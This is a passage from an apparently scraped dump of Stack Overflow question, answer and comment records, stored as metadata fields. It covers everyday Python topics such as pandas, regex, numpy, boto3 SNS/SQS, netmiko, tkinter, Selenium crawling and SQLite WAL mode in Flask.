cmap=plt.cm.spectral) plt.show() I've also tried using it without the structure, and I'm getting the same result. I am new to python so I apologiza if the code is a little messy
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84341207
tagged with: python
has title: missing labels with ndimage.label
answer count: 0
has comment: http://stackoverflow.com/comment/84351453
tagged with: image-processing
type: Question
score: 0
tagged with: connected-components

http://stackoverflow.com/q/48664615
favorite count: 0
has body: I am new to Python and would like to get more efficient in coding. Currently I have the following code, counting the number of shops per city, if the shop is still open: top_20_cities = pd.DataFrame(data = shops[shops.Open == 'Open'].groupby('city').size().sort_values(ascending=False).head(20)).reset_index() top_20_cities.columns = ['City', 'Count'] Is it possible, put both lines into one? I tried this, but get an error: top_20_cities = pd.DataFrame(data = shops[shops.Open == 'Open'].groupby('city').size().sort_values(ascending=False).head(20), columns = ['City', 'Count']).reset_index() thx
accepted answer: http://stackoverflow.com/a/48664710
upvote count: 1
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48664710
score: 1
tagged with: group-by
tagged with: dataframe
type: Question
downvote count: 0
has title: Python: new data frame from group_by with new index in one line
has comment: http://stackoverflow.com/comment/84326587
tagged with: pandas
answer count: 1

http://stackoverflow.com/q/48677065
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48677124
type: Question
has answer: http://stackoverflow.com/a/48677124
answer count: 2
upvote count: 5
has body: I am trying to add a piece of code to this string to check for a negative number in the first position. If the code identifies a negative number it should return "False". I'm having trouble with int and str at the user input command. def is_number(S): #if s < 0: #print("False") #else: try: float(s) return True except ValueError: pass try: import unicodedata unicodedata.numeric(s) return True except (TypeError, ValueError): pass return False s = input() is_number(s) The above code should accept numeric and alpha inputs without throwing an error.
score: 4
possible better answer: http://stackoverflow.com/a/48677136
has title: How to check for negative numbers at the beginning of a string?
favorite count: 0
tagged with: python
linked to: http://stackoverflow.com/q/36707
has answer: http://stackoverflow.com/a/48677136
downvote count: 1

http://stackoverflow.com/q/48693571
score: 1
has comment: http://stackoverflow.com/comment/84385596
type: Question
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/48694986
tagged with: virtualenv
favorite count: 0
has comment: http://stackoverflow.com/comment/84385861
has title: How to run script from environment in Python?
has body: I have got recommendations to run Python script on Linux Server using this sequence: 1) source path to environment 2) python path to python script So, I need to call this script from php command system: Should it be like this? system("source *path to environment* python *path to python script*") How to set environment and then run script?
type: UnansweredQuestion
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/48694088
has comment: http://stackoverflow.com/comment/84386026

http://stackoverflow.com/a/48695931
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/84391105
accepted answer of: http://stackoverflow.com/q/48695499
type: AcceptedAnswer
downvote count: 0
has body: Considering the comments provided to this question, it seems that what you essentially need is how to know if the connection failed. Since a failed connection raises an exception, if-statements are not enough / needed to achieve what you want. Instead, you would like to do this: from netmiko import ConnectHandler try: net_connect = ConnectHandler(device_type='cisco_ios', ip='11.22.33.44', username='domain.login', password='DomainPassword') print("Domain login succeeded.") except: print("Domain login failed.") try: net_connect = ConnectHandler(device_type='cisco_ios', ip='11.22.33.44',username='StandardUsername', password='StandardPassword') print("Standard login worked") except: print("Standard login failed") If you have not come across "try-except" statements in Python, I suggest you looked them up.
answers question: http://stackoverflow.com/q/48695499
upvote count: 2

http://stackoverflow.com/comment/84670075
has text: Hi Nick, may you say in advance what is the correct behavior? Is it limited to 15 or there is another way to get the total activities?
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48770556

http://stackoverflow.com/a/48768882
downvote count: 0
has body: You need a specialized module for this rather than depending on the encodings implementation. &gt;&gt;&gt; import idna &gt;&gt;&gt; print (idna.decode('xn--espaol-zwa.come')) español.come The docs for the idna module say: This acts as a suitable replacement for the “encodings.idna” module that comes with the Python standard library, but only supports the old, deprecated IDNA specification (RFC 3490)
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/48767058
type: Answer

http://stackoverflow.com/comment/84506976
type: Comment
has text: I somehow doubt that. In matplotlib 2.1.2 the function raising the error is located around line 1500 in the code, while you show it around line 1700.
comment on: http://stackoverflow.com/a/48752402
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84361682
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/48682259
has text: You can't iterate over a list and change it at the same time. Building a new list based on the initial one is the way: `b = [var-l[-1] for var in l]`
type: Comment

http://stackoverflow.com/a/48657319
has body: Your problem is here: index_list = sorted(set(index_list), key=index_list.index). You cannot use set on a list of lists because lists are not hashable. Instead, try this: index_list = sorted(set([tuple([tuple(r) for r in e]) for e in index_list]), key=index_list.index)
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84312593
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/84312708
has comment: http://stackoverflow.com/comment/84312398
accepted answer of: http://stackoverflow.com/q/48657200
answers question: http://stackoverflow.com/q/48657200
has comment: http://stackoverflow.com/comment/84312732

http://stackoverflow.com/comment/84752759
score: 0
type: Comment
type: QuestionComment
has text: which a space is ok to have between the words, you just need to put [] (brackets) around Committed Crimes and should work fine.
comment on: http://stackoverflow.com/q/48794553

http://stackoverflow.com/q/48689700
type: UnansweredQuestion
tagged with: python
tagged with: indices
score: -1
has comment: http://stackoverflow.com/comment/84378002
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/84377566
tagged with: for-loop
has answer: http://stackoverflow.com/a/48689799
answer count: 1
has title: Combination of matrix elements giving non-zero value (PYTHON)
favorite count: 0
tagged with: matrix
downvote count: 1
has body: I have to evaluate the following expression, given two quite large matrices A,B and a very complicated function F: The mathematical expression I was thinking if there is an efficient way in order to first find those indices i,j that will give a non-zero element after the multiplication of the matrices, so that I avoid the quite slow 'for loops'. Current working code # Starting with 4 random matrices A = np.random.randint(0,2,size=(50,50)) B = np.random.randint(0,2,size=(50,50)) C = np.random.randint(0,2,size=(50,50)) D = np.random.randint(0,2,size=(50,50)) indices [] for i in range(A.shape[0]): for j in range(A.shape[0]): if A[i,j] != 0: for k in range(B.shape[1]): if B[j,k] != 0: for l in range(C.shape[1]): if A[i,j]*B[j,k]*C[k,l]*D[l,i]!=0: indices.append((i,j,k,l)) print indices As you can see, in order to get the indices I need I have to use nested loops (= huge computational time).
upvote count: 0

http://stackoverflow.com/a/48799630
type: Answer
accepted answer of: http://stackoverflow.com/q/48799601
answers question: http://stackoverflow.com/q/48799601
upvote count: 3
has body: Could you not just do: def do_commands(): run_first_command() run_second_command() screen.listen() screen.onkeypress(do_commands)
score: 3
has comment: http://stackoverflow.com/comment/84602193
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/84360124
type: Comment
has text: `strip` only removes from start and end, try yourself `s = "abc#def"; s.strip("#"); 'abc#def'`
type: AnswerComment
comment on: http://stackoverflow.com/a/48681364
score: 0

http://stackoverflow.com/comment/94478283
has text: One thing to remember here is that `data` must be converted to `json` first (using `json.loads` for example). Using string on `pd.DataFrame.from_records` will split all the strings into each single character into columns :D
type: AnswerComment
comment on: http://stackoverflow.com/a/48688342
type: Comment
score: 2

http://stackoverflow.com/comment/84498787
type: QuestionComment
comment on: http://stackoverflow.com/q/48749323
score: 0
has text: I just left the blanks in there to show that's where the user input would go.
type: Comment

http://stackoverflow.com/a/48762567
upvote count: 4
answers question: http://stackoverflow.com/q/48762524
has comment: http://stackoverflow.com/comment/84526879
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84525781
score: 4
has comment: http://stackoverflow.com/comment/84527013
has comment: http://stackoverflow.com/comment/84525879
has comment: http://stackoverflow.com/comment/84525482
type: Answer
has comment: http://stackoverflow.com/comment/84525706
has comment: http://stackoverflow.com/comment/84525920
has body: You may remove the digit-and-dot substrings at the end of the string only with import re text = ['bits', 'scrap 1.2', 'bits and pieces', 'junk 3.4.2'] print([re.sub(r'\s+\d+(?:\.\d+)*$', '', x) for x in text]) # =&gt; output = ['bits', 'scrap', 'bits and pieces', 'junk'] See the Python demo The pattern is \s+ - 1+ whitespaces (note: if those digits can be "glued" to some other text, replace + (one or more occurrences) with * quantifier (zero or more occurrences)) \d+ - 1 or more digits (?:\.\d+)* - 0 or more sequences of \. - a dot \d+ - 1 or more digits $ - end of string. See the regex demo. To do the same with re.findall, you can use # To get 'abc 5.6 def' (not 'abc') from 'abc 5.6 def 6.8.9' re.findall(r'^(.*?)(?: \d[\d.]*)?$', x) # # To get 'abc' (not 'abc 5.6 def') from 'abc 5.6 def 6.8.9' re.findall(r'^(.*?)(?: \d.*)?$', x) # See this regex demo. However, this regex is not efficient enough due to the .*? construct. Here, ^ - start of string (.*?) - Group 1: any zero or more chars other than line break chars (use re.DOTALL to match all) as few as possible (so that the next optional group could be tested at each position) (?: \d[\d.]*)? -an optional non-capturing group matching - a space \d - a digit [\d.]* - zero or more digits or . chars (OR) .* - any 0+ chars other than line break chars, as many as possible $ - end of string.
has comment: http://stackoverflow.com/comment/84525710
has comment: http://stackoverflow.com/comment/84526224
accepted answer of: http://stackoverflow.com/q/48762524

http://stackoverflow.com/comment/84535279
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48767456
has text: Thanks. Is it possible to eliminate the unicode `u`?
type: AnswerComment

http://stackoverflow.com/comment/84576607
type: AnswerComment
comment on: http://stackoverflow.com/a/48787503
type: Comment
score: 0
has text: I see, so `&&` is never used? Or only in some situations? Because `&&` lights up green in the compiler

http://stackoverflow.com/q/48791188
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/84584711
has answer: http://stackoverflow.com/a/49277954
has body: Below is content of JSON file, how can I get only the keys of the second level, that means I should be able to store the keys like uid,passid,signbuttonid,logoIcon,cornerSettingMenu,logoutButtonId,overlayId,loaderInFunctionalPanel this keys I should be able to store in a list or some array using python. means I need like list[0]= uid list[1]=passid list[2]= signbuttonid list[3]=logoIcon and so on . . . . . . { "GlobalElements" : [ { "uid":"userEmail", "passid":"userPwd", "signbuttonid": "//button[@class='btn btn-mammoth']", "logoIcon":"//a[@class='logo text-hide']", "cornerSettingMenu":"//div[@class='dropdown-toggle']/p", "logoutButtonId":"//a[@class='logout']", "overlayId":"//div[@class='overlay']", "loaderInFunctionalPanel":"//div[@class='small-inline-loader']/child::i[@class='fa fa-spinner fa-pulse']" } ] Note: I don't need values of that. I need only keys. Can Anybody help me on this. Thanks in advance.
type: Question
possible better answer: http://stackoverflow.com/a/48791471
has answer: http://stackoverflow.com/a/48791471
has title: How to get the second level key's of JSON using python?
has comment: http://stackoverflow.com/comment/84584639
upvote count: 3
answer count: 3
downvote count: 1
favorite count: 0
tagged with: parsing
tagged with: python
has comment: http://stackoverflow.com/comment/84584795
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/48791299
accepted answer: http://stackoverflow.com/a/48791299

http://stackoverflow.com/a/48773965
type: Answer
has body: You can do it very easily First the text file that is be worked on has to be asked by the file in prompt or in command line so that and file can be opened and edited. -- like open file (filename) test1.txt (enter) Then you can display the option available to the user -- like 1) Change all the occurrence of the particular word / letter 2) Save and exit 3) display file text (print the file) based on uesr input -- (for your program input will be 1) here you have 2 options First option Prompt the user for entering the word to change its occurrence in the file with the another word. Second option (most likely your choice) display word by word unique like this id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; value&nbsp;&nbsp;&nbsp; count 1-->&nbsp;&nbsp; dog &nbsp;&nbsp; (25 places) 2-->&nbsp;&nbsp; cat &nbsp;&nbsp; ( 2 places) enter the number and the new word to change all the occurrence id new_Value 1 red then you can change read the file for all the occurrence and change it with given word. and then again prompt user with the option 1) Change all the occurrence of the particular word / letter 2) Save and exit 3) display file text (print the file) then user may view or he may save and exit you can do these things in copy or temporary text document of the original and when the user saves and exit make the changes to the original one Thanks
score: 0
answers question: http://stackoverflow.com/q/48773153

http://stackoverflow.com/a/48790973
has body: Did you check the labels in your input data to see if there is only 3 classes but not 10? Indeed, the 2nd suspect is your w_categorical_crossentropy function... Did you benchmark it on dummy data?
downvote count: 0
has comment: http://stackoverflow.com/comment/84654032
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/48764716
type: Answer

http://stackoverflow.com/a/48693955
has body: Most likely the first byte is not a printable character. Since you are reading binary data, you need to open the file in binary mode: f = open('blk00000.dat', 'rb')
answers question: http://stackoverflow.com/q/48693930
type: AcceptedAnswer
score: 0
upvote count: 1
type: Answer
downvote count: 1
accepted answer of: http://stackoverflow.com/q/48693930

http://stackoverflow.com/comment/84444406
comment on: http://stackoverflow.com/q/48721492
type: Comment
type: QuestionComment
has text: waiting for the right answer but @Skyler helped a lot
score: 0

http://stackoverflow.com/comment/84464713
comment on: http://stackoverflow.com/q/48728484
score: 0
has text: Yes, the order of the letters matters. DLLK would not work.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48738509
has body: I am not receiving any messages in my SQS queue when subscribing to an SNS topic via boto3. Is this an issue with the code or the API credentials I am using? The IAM policy associated with this account has AWS PowerUser privileges, which should mean it has unrestricted access to manage SNS topics and SQS queues. When I create the equivalent structure through the AWS console (create topic, create queue, subscribe queue to topic) and send a message using either boto3, the AWS CLI, or the AWS console, the message comes through correctly. I don't think it is an issue with the code because the SubscriptionArn is being returned correctly? I have tried this with both the US-EAST-1 and AP-SE-1 regions, same result. Sample code: #!/usr/bin/env python3 import boto3 import json def get_sqs_msgs_from_sns(): sqs_client = boto3.client('sqs', region_name='us-east-1') sqs_obj = boto3.resource('sqs', region_name='us-east-1') sns_client = boto3.client('sns', region_name='us-east-1') sqs_queue_name = 'queue1' topic_name = 'topic1' # Create/Get Queue sqs_client.create_queue(QueueName=sqs_queue_name) sqs_queue = sqs_obj.get_queue_by_name(QueueName=sqs_queue_name) queue_url = sqs_client.get_queue_url(QueueName=sqs_queue_name)['QueueUrl'] sqs_queue_attrs = sqs_client.get_queue_attributes(QueueUrl=queue_url, AttributeNames=['All'])['Attributes'] sqs_queue_arn = sqs_queue_attrs['QueueArn'] if ':sqs.' in sqs_queue_arn: sqs_queue_arn = sqs_queue_arn.replace(':sqs.', ':') # Create SNS Topic topic_res = sns_client.create_topic(Name=topic_name) sns_topic_arn = topic_res['TopicArn'] # Subscribe SQS queue to SNS sns_client.subscribe( TopicArn=sns_topic_arn, Protocol='sqs', Endpoint=sqs_queue_arn ) # Publish SNS Messages test_msg = {'default': {"x":"foo","y":"bar"}} test_msg_body = json.dumps(test_msg) sns_client.publish( TopicArn=sns_topic_arn, Message=json.dumps({'default': test_msg_body}), MessageStructure='json') # Validate Message sqs_msgs = sqs_queue.receive_messages( AttributeNames=['All'], …
tagged with: boto3
has answer: http://stackoverflow.com/a/48748295
tagged with: amazon-web-services
answer count: 1
downvote count: 0
favorite count: 0
linked to: http://stackoverflow.com/q/19329057
type: UnansweredQuestion
tagged with: amazon-sns
tagged with: python
score: 3
has title: AWS: empty SQS queue when subscribed to SNS via boto3
upvote count: 3
has comment: http://stackoverflow.com/comment/84483096
type: Question
tagged with: amazon-sqs
has comment: http://stackoverflow.com/comment/84486980

http://stackoverflow.com/comment/84519698
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48759092
has text: The file needs to be split by `chr` field, which is the very first column.
score: 0

http://stackoverflow.com/comment/84556374
has text: You are a damned wizard :) This works like a charm, thank you SO much! I'm still learning Pandas (as I'm sure you guessed). Cheers!
type: AnswerComment
type: Comment
score: 6
comment on: http://stackoverflow.com/a/48776205

http://stackoverflow.com/q/48711950
has title: Merging two numpy matrices to create element-wise tuple
has comment: http://stackoverflow.com/comment/84423002
tagged with: numpy
score: 5
answer count: 1
favorite count: 0
tagged with: tuples
has comment: http://stackoverflow.com/comment/84427893
type: UnansweredQuestion
tagged with: python
upvote count: 6
has answer: http://stackoverflow.com/a/48712034
has body: I'm not sure if this has been asked before but I couldn't find the solution to this seemingly simple problem. I have two arrays like so: x = np.array([[1,2,3],[4,5,6]]) y = np.array([[1,2,3],[7,8,9]]) And I want to create a merged matrix like: merged = [[(1,1),(2,2),(3,3)],[(4,7),(5,8),(6,9)]] What is the fastest way to achieve this? I'm using python 2.
downvote count: 1
type: Question

http://stackoverflow.com/a/48712226
type: Answer
accepted answer of: http://stackoverflow.com/q/48706272
answers question: http://stackoverflow.com/q/48706272
score: 0
type: AcceptedAnswer
has body: If you toggle the status to "ON" in the UI, it should start running your DAG based on the given interval (daily in your case). If you want new DAGs to be enabled by default, you can update set dags_are_paused_at_creation = False under [core] in your airflow config.

http://stackoverflow.com/q/48790660
tagged with: django-channels
type: Question
has title: Testing channels 2.0 with pytest-asyncio getting RuntimeError: Event loop is closed
has comment: http://stackoverflow.com/comment/84745756
tagged with: pytest
has comment: http://stackoverflow.com/comment/84658676
has answer: http://stackoverflow.com/a/48827952
accepted answer: http://stackoverflow.com/a/48827952
answer count: 1
score: 0
tagged with: python-asyncio
tagged with: python
type: AnsweredQuestion
has body: I'm trying to test new channels 2.0 with pytest-asyncio (0.8.0). If I place different assertions in the same function like: import json import pytest from concurrent.futures._base import TimeoutError from channels.testing import WebsocketCommunicator from someapp.consumers import MyConsumer @pytest.mark.django_db @pytest.mark.asyncio async def setup_database_and_websocket(): path = 'foo' communicator = WebsocketCommunicator(MyConsumer, path) connected, subprotocol = await communicator.connect() assert connected return communicator @pytest.mark.django_db @pytest.mark.asyncio async def test_1_and_2(): communicator = await setup_database_and_websocket() sent = json.dumps({"message": 'abc'}) await communicator.send_to(text_data=sent) with pytest.raises(TimeoutError): await communicator.receive_from() await communicator.send_input({ "type": "websocket.disconnect", "code": 1000, }) communicator = await setup_database_and_websocket() sent = json.dumps({"message": 1}) await communicator.send_to(text_data=sent) with pytest.raises(TimeoutError): await communicator.receive_from() await communicator.send_input({ "type": "websocket.disconnect", "code": 1000, }) then I'm not getting an error. But if I separate test cases like: @pytest.mark.django_db @pytest.mark.asyncio async def test_1(): communicator = await setup_database_and_websocket() sent = json.dumps({"message": 'abc'}) await communicator.send_to(text_data=sent) with pytest.raises(TimeoutError): await communicator.receive_from() await communicator.send_input({ "type": "websocket.disconnect", "code": 1000, }) @pytest.mark.django_db @pytest.mark.asyncio async def test_2(): communicator = await setup_database_and_websocket() sent = json.dumps({"message": 1}) await communicator.send_to(text_data=sent) with pytest.raises(TimeoutError): await communicator.receive_from() await communicator.send_input({ "type": "websocket.disconnect", "code": 1000, }) then I'm getting following error upon the second receive_form call: with pytest…

http://stackoverflow.com/comment/85453773
type: AnswerComment
comment on: http://stackoverflow.com/a/48981930
type: Comment
has text: This doesn't help. After killing and reconnecting, the GPU memory is still at 500Mb out of ~12GB.
score: 0

http://stackoverflow.com/comment/84431078
has text: Welcome to [so]! Please try to provide a [mcve] exactly specific to your issue.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48715504
type: QuestionComment

http://stackoverflow.com/comment/84351285
has text: Sorry, I should clarify. I am later looking to compare an interior element with its 8 neighbors to find if its a local minimum.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48676393
type: QuestionComment

http://stackoverflow.com/a/48672280
downvote count: 0
has body: I found one answer via my "use a different package" option above, using cx_Oracle. The code is as follows: import pandas as pd import cx_Oracle q0 = ''' select * from weatherview_historical x where x.WeatherNodeRCIKey IN (481, 562, 563, 561, 564, 565, 560, 658) and x.WeatherDate &gt;= '01-jan-2016' and x.WeatherTypeLu in (6436,6439) ''' try: #establish connection with profit (oracle) db con = cx_Oracle.connect(user='uid', password='pass', dsn='dsn_name') df0 = pd.read_sql_query(q0, con) except Exception as e: #return error message print("Error: " + str(e)) The key of was the cx_Oracle package which fetched the results in 20 seconds vs 8 minutes for pypyodbc (and 27 seconds for PLSQL as above). I was also able to feed feed the rows directly into the dataframe in pandas via .read_sql_query I'm still very interested as to why pypyodbc was so slow versus other options. If anyone has any thoughts as to making it run faster, whether thats: changing encoding at sql level so python doesn't have to handle changing number of items returned by DB each call (size of array/chunk size) changing to server side skipping the .execute or .fetchall steps (these still work with cx_Oracle it appears) Please let me know
has comment: http://stackoverflow.com/comment/84347600
answers question: http://stackoverflow.com/q/48666075
type: Answer
has comment: http://stackoverflow.com/comment/84503779
score: 1
upvote count: 1

http://stackoverflow.com/q/48776693
has comment: http://stackoverflow.com/comment/84555279
has body: I'm trying to run cx_freeze with a plataform-agnostic setup.py file, i can't figure how to add the compiled files (.pym, .so) into the executable DataProcessor is a python module compiled externally by Cython ... but i don't know how to include it in cx_freeze executable beacause the absolute path depends upon plataform and python version. So how can i handle that. the executable is compiled but the external module is not include so when i ran the application throws an error that DLL is not loaded or in case of MacOS says ModuleNotFoundError: No module named 'DataProcessor' EDIT: i have seen an error on the original setup.py, correcting this error cx_freeze shows this error cx_Freeze.freezer.ConfigError: cannot find file/directory named DataProcessor EDIT2: as suggested by @mgracer tried to put in in includes section but no sucess cx_freeze shows ImportError: No module named 'DataProcessor' so what i can i do to maintain my setup.py plataform-agnostic. This is what i have until now from Cython.Build import cythonize from cx_Freeze import setup, Executable import sys import os.path # Windows hack PYTHON_INSTALL_DIR = os.path.dirname(os.path.dirname(os.__file__)) os.environ['TCL_LIBRARY'] = os.path.join(PYTHON_INSTALL_DIR, 'tcl', 'tcl8.6') os.environ['TK_LIBRARY'] = os.path.join(PYTHON_INSTALL_DIR, 'tcl', 'tk8.6') # Windows hack includes = [] excludes = ['tkinter'] packages = ['openpyxl', 'sqlite3', 're', 'collections', 'os'] include_files = ['DataProcessor'] dll_excludes = [] # GUI applications require a different base on Windows (the default is for a # console application). base = None if sys.platform == "win32": base = "Win32GUI" # Dependencies are automatically detected, but it might need fine tuning. build_exe_options = { "excludes": excludes, "includes": includes, "packages": packages, "include_files": include_files } setup( name="analizador", version="0.1", description="Foo bar", options={"build_exe": build_exe_options}, ext_modules=cythonize("DataProcessor.pyx…
type: AnsweredQuestion
tagged with: cython
upvote count: 1
has comment: http://stackoverflow.com/comment/84555317
has comment: http://stackoverflow.com/comment/84555189
type: Question
score: 1
has title: Can't make a setup.py file with multiplataform-compiled external modules
has answer: http://stackoverflow.com/a/48793934
has comment: http://stackoverflow.com/comment/84555743
answer count: 1
downvote count: 0
favorite count: 0
tagged with: cx-freeze
tagged with: python
accepted answer: http://stackoverflow.com/a/48793934

http://stackoverflow.com/comment/84453842
comment on: http://stackoverflow.com/q/48727418
type: Comment
score: 0
has text: You should switch to Python 3.6+ while you are still learning. https://pythonclock.org/
type: QuestionComment

http://stackoverflow.com/a/48686524
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/48685978
type: AcceptedAnswer
downvote count: 0
has body: You could use a CASE expression to choose what to order by, though that's not particularly index friendly: from sqlalchemy import case latest = func.max(models.Publication.published_at) db.session.query( models.Actor, latest.label('latest')).\ join(models.Publication).\ group_by(models.Actor).\ order_by(case( [(latest &gt; models.Actor.edited_at, latest)], else_=models.Actor.edited_at).desc()).\ all() Alternatively you could use GREATEST(): order_by(func.greatest(latest, models.Actor.edited_at).desc())
answers question: http://stackoverflow.com/q/48685978
has comment: http://stackoverflow.com/comment/84370675
type: Answer
has comment: http://stackoverflow.com/comment/84456883

http://stackoverflow.com/q/48754823
type: Question
tagged with: numpy
tagged with: numpy-ndarray
accepted answer: http://stackoverflow.com/a/48755046
has title: scipy.optimize.minimize returning zero-dimensional array?
has comment: http://stackoverflow.com/comment/84510616
has body: Calling the Powell minimizer for a single-dimensional problem is creating an OptimizeResult with an inaccessible value. For example: from scipy.optimize import minimize test = minimize(lambda x: 1.0, np.array([1.0]), method="Powell") If I then ask for test.x I get: array(3.58792896) Something is wrong with that "array": I can't get the value out of it. For example, test.x[0] returns IndexError: too many indices for array. It's like it's a zero-dimensional array, or there's some other reference problem. (A well-formed ndarray would display like array([3.58792896]).) What am I doing wrong?
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/84510618
favorite count: 0
linked to: http://stackoverflow.com/q/773030
upvote count: 2
has answer: http://stackoverflow.com/a/48755046
tagged with: python
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84510855
tagged with: scipy
has comment: http://stackoverflow.com/comment/84510599

http://stackoverflow.com/comment/84301759
has text: If i right click the bot in discord and 'copy id', it is very different than mine, even in my test channel. Yet will still delete its own messages if i tell it to delete only messages with my client id. Regarding another server, it appears to be posting with its own id, but fails due to permissions when it tries to delete mine, which is always first due to the '!clear' message.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/48651759
type: QuestionComment

http://stackoverflow.com/comment/84550500
score: 0
comment on: http://stackoverflow.com/q/48774422
type: QuestionComment
type: Comment
has text: apologies, updated.

http://stackoverflow.com/q/48728488
score: -1
linked to: http://stackoverflow.com/q/1101750
has body: I'm trying to make a simple app that when you place a value it either adds to the total value or subtracts from it. At this point, I made a simple format but can't get the .get method to work. This error shows up AttributeError: 'NoneType' object has no attribute 'get' on line 29. Thank you for your help in advance! Here is the code: #PP2_Savings_App2 import tkinter as tk root = tk.Tk() root.geometry('500x300') root.title('Savings App') #Label deposit_label = tk.Label(root, text='Deposit').grid(column=2, row=3) withdraw_label = tk.Label(root, text='Withdraw').grid(column=6, row=3) #Entry deposit_entry = tk.Entry(root).grid(column=2, row=4) withdraw_entry = tk.Entry(root).grid(column=6, row=4) #Class/def and buttons def deposit(): amount_display = tk.Text(root, width=5, height=5).grid(column=7, row=2) responce_text = 'You deposited ${}'.format(deposit_entry.get()) amount_display.insert(tk.END, responce_text) deposit_button = tk.Button(master=root, text='Deposit', command=deposit).grid(column=2, row=5) def withdraw(): pass withdraw_button = tk.Button(master=root, text='Withdraw', command=withdraw).grid(column=6, row=5) root.mainloop()
answer count: 1
downvote count: 1
tagged with: tkinter-entry
has comment: http://stackoverflow.com/comment/84456205
favorite count: 0
has comment: http://stackoverflow.com/comment/84456255
tagged with: python-3.x
duplicate of: http://stackoverflow.com/q/47619074
has comment: http://stackoverflow.com/comment/84456199
has comment: http://stackoverflow.com/comment/84455949
type: UnansweredQuestion
has title: Python tkinter .get method
tagged with: python
linked to: http://stackoverflow.com/q/47619074
upvote count: 0
tagged with: tkinter
duplicate of: http://stackoverflow.com/q/1101750
has answer: http://stackoverflow.com/a/48728641
type: Question
has comment: http://stackoverflow.com/comment/84479647
has comment: http://stackoverflow.com/comment/84456169

http://stackoverflow.com/comment/84566326
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48782458
has text: I tried "driver.find_element_by_class_name('word')" but failed.

http://stackoverflow.com/comment/84428026
type: AnswerComment
comment on: http://stackoverflow.com/a/48714341
type: Comment
has text: Thanks for the help but still i am looking for only ['RPD_PC_MISC']
score: 0

http://stackoverflow.com/comment/84439425
score: 2
comment on: http://stackoverflow.com/q/48720045
has text: Too much information and simultaneously not enough. Please provide a [Minimal, Complete and Verifiable example](https://stackoverflow.com/help/mcve). Unless you provide one, I can only speculate that you have to [create y values over the whole plotting range using your fit function](https://stackoverflow.com/a/48507056/8881141).
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48800058
answer count: 0
has title: selenium.common.exceptions.NoSuchElementException: crawling error
tagged with: selenium
has body: now i'm tring to search game items in trading board. So i made below source as a crawler with (python 3.6 / Selenium / bs4 / Chromedrver) here is my source from selenium import webdriver from bs4 import BeautifulSoup import urllib import time import datetime import sys from retrying import retry now = time.time() until = 1518699000 print(datetime.datetime.fromtimestamp(now)) print(datetime.datetime.fromtimestamp(until)) driver = webdriver.Chrome('C:/chromeDR/chromedriver.exe') driver.get('http://ro.gnjoy.com/itemDeal/dealSearch.asp') driver.implicitly_wait(10) html = driver.page_source soup = BeautifulSoup(html, 'html.parser') count = 1 while True: dics = {'+7 엑소시스트 웨폰 쉐도우':40000000,'+7 액서큐서너 웨폰 쉐도우':25000000} for keynum in dics.keys(): print (count) print (keynum) driver.find_element_by_name('itemFullName').send_keys(keynum) driver.find_element_by_name('svrID').send_keys('바포메트') log_but2 = '''//*[@id="itemContents"]/form/fieldset/button''' **driver.find_element_by_xpath(log_but2).click()** driver.implicitly_wait(10) result = driver.page_source resulthtml = BeautifulSoup(result, 'html.parser') lists = resulthtml.find_all('span', {'class' : 'priceLv7'}) for i in lists: price = int(i.text.replace(',','')) print (price) if price &lt; dics[(keynum)] : print ('success finding') import mailling sys.exit(1) if now &gt; until : print ('time closing.') sys.exit(1) time.sleep(5) driver.find_element_by_name('itemFullName').clear() i hope that this source works constantly till finding or time closing. But Sometime the error occurs, follow the capture "driver.find_element_by_xpath(log_but2).click()" paragraph makes a error. i want to elimate this error perfectly or to retry automatically in this error case How can I do? someone please help me
type: Question
linked to: http://stackoverflow.com/q/47993443
has comment: http://stackoverflow.com/comment/84608338
score: 0
has comment: http://stackoverflow.com/comment/84763547
tagged with: selenium-chromedriver
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84603124

http://stackoverflow.com/q/48729795
has comment: http://stackoverflow.com/comment/84460734
tagged with: database
score: 4
tagged with: flask
upvote count: 4
has comment: http://stackoverflow.com/comment/84461070
tagged with: sqlite
downvote count: 0
favorite count: 0
has body: SQLite3 database connection, when created in WAL mode (as shown below) allows multiple threads to read data through a single connection. This mode greatly enhances the read scalability of any web application. import sqlite3 db = sqlite3.connect('mydb.sqlite3') db.execute('pragma journal_mode=wal') For details please refer to Going Fast with SQLite and Python I'm working on a web application in Flask where SQLite3 is used for persistance as there are very few users who will be making update to database. However there will be far many users who will be reading the contents. So i think database in WAL mode will greatly enhance the read performance of this application. As per Flask documentation, the SQLite3 database connection is opened/closed for every request. This approach seems fine for connections that make update to database (i.e. writers). But for selects (i.e. readers), this approach of opening and closing connection for each request seems to be limiting. Can somebody guide me on how to run a shared SQLite3 database in WAL mode (for selects only) in Flask? (version 0.12.2 on python 3)
type: UnansweredQuestion
tagged with: python
answer count: 0
type: Question
has title: How to run SQLite3 database (in WAL mode) in Flask

http://stackoverflow.com/comment/84487999
